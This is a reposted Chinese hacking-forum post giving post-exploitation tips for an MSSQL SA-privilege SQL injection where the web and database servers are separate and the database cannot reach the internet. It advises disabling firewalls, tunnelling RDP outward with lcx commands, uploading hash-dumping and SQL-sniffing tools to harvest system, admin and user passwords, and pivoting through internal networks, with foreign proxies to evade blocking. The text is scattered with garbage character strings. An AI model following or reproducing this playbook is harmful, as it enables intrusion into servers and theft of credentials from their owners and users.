当你碰到SA的注入点，可以执行命令，但是web与数据库分离，你都会怎么做呢，当数据库不服务器不能连接外网的时候，是不是只想着从web搞呢，这篇文章从t00ls转载过来，希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
, |3 m7 n. k8 O/ F2 ?$ o
' X$ k5 c- F* _! S7 G* C! | t* }$ ~& w0 ~4 R
* X6 o9 K" b2 {2 e: R% x
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)' i9 g1 ?7 J+ _
W/ E% |: H( J9 B, V5 {
& |; s! x5 |- n( U" P一、DB机有公网IP.+ s$ a" o% ^0 j6 j9 O% i2 W. l
) ?3 J8 K* A' o; g& R1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.
/ |0 i$ u. | f, {9 p
' i" T1 U7 I$ r3 R
- s- v0 x) f# S: V( u. p! i. q, @: Y2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.: _2 s5 @. U, m0 D" V
& A6 h# @! K$ d# j: {5 T6 A9 h4 J2 V
& K, _ J' ~& l* c3 j) }3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com% Z3 E1 n! z. G
2 U7 B' _& ^ E' A8 P( M* G& t3 F7 S0 y1 }- ~: z' U
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.- T+ F" S- W4 D
! ~, z" S5 Z# W9 x; u2 [8 R
' ~: e; E# T, ? ~* U$ {, k! }; i* h) f
/ J2 N9 Z% `( p" ?0 }二、DB机只有内网IP' l5 m8 Z7 y( K( \6 V2 v4 `
0 R7 y& @# L9 O* n( T
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.
: ?0 E2 a" M8 D1 ^9 S+ ?4 `" `
- C- t8 P$ o8 ~1 W# H3 G
; p* D: `: c3 H# d9 f( {: S- y: |2:停掉防火墙和IP策略再从内往外扫描.) `; a9 d, B' {: x1 X
" G# @% i& z# @2 R% U. d, I! E* h0 G( c/ r1 e T! ^+ h7 l
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.9 }8 |/ J9 b! z8 P2 s/ g
- m/ W: @* N9 q" q& {8 j3 L) c. A" g- H- I$ ?, ^0 f9 R4 T
4:学会密码规律分析往往会有惊喜.& A4 W; \0 I* s' e$ _. D7 J" y, ?1 o
) } O$ N4 W$ ^' r4 O9 J
/ V3 _6 m3 ?1 b" n- P5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等& `7 X1 Z1 y/ F5 h3 Z: u
, b$ E4 B" G! `9 ^4 I
3 A+ h$ d4 ?* V有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |
发表于 2013-2-16 21:46:01
收藏
支持
反对